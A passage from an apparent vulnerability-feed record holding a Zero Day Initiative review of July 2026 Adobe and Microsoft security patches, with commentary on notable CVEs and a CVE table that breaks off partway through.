protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-14T22:02:12.129071Z"}, {"uuid": "dccf8248-8074-4a2a-8401-d6abb13edd6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54117", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50353\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50493\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56643\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56644\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58629\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49174\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50495\n  DNS Client Tampering\n  Vulnerability\n  Important\n  6.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-57088\n  Extensible Storage\n  Engine (ESENT) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50663\n  Game: Age of Empires\n  II: Definitive Edition Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47282\n  GitHub Copilot and\n  Visual Studio Code Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41109\n  GitHub Copilot and\n  Visual Studio Code Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-50510\n  GitHub Copilot Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49787\n  HTTP.sys Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50420\n  HTTP.sys Information\n  Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49788\n  HTTP/2 Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50696\n  Internet Key Exchange\n  (IKE) Protocol Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58617\n  M365 Copilot for iOS\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-58595\n  Microsoft Bing App for\n  IOS Spoofing Vulnerability\n  Important\n  8.1\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-49162\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50305\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50361\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50466\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50458\n  Microsoft Brokering\n  File System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50658\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56178\n  Microsoft Defender for\n  Endpoint for Mac Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50657\n  Microsoft Defender for\n  Endpoint for Mac Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50329\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58541\n  Microsoft DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58596\n  Microsoft Edge\n  (Chromium-based) Elevation of Privilege Vulnerability\n  Important\n  8.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-57991\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  7.4\n  No\n  No\n  Info\n \n \n  CVE-2026-58291\n  Microsoft Edge\n  (Chromium-based) Information Disclosure Vulnerability\n  Important\n  6.1\n  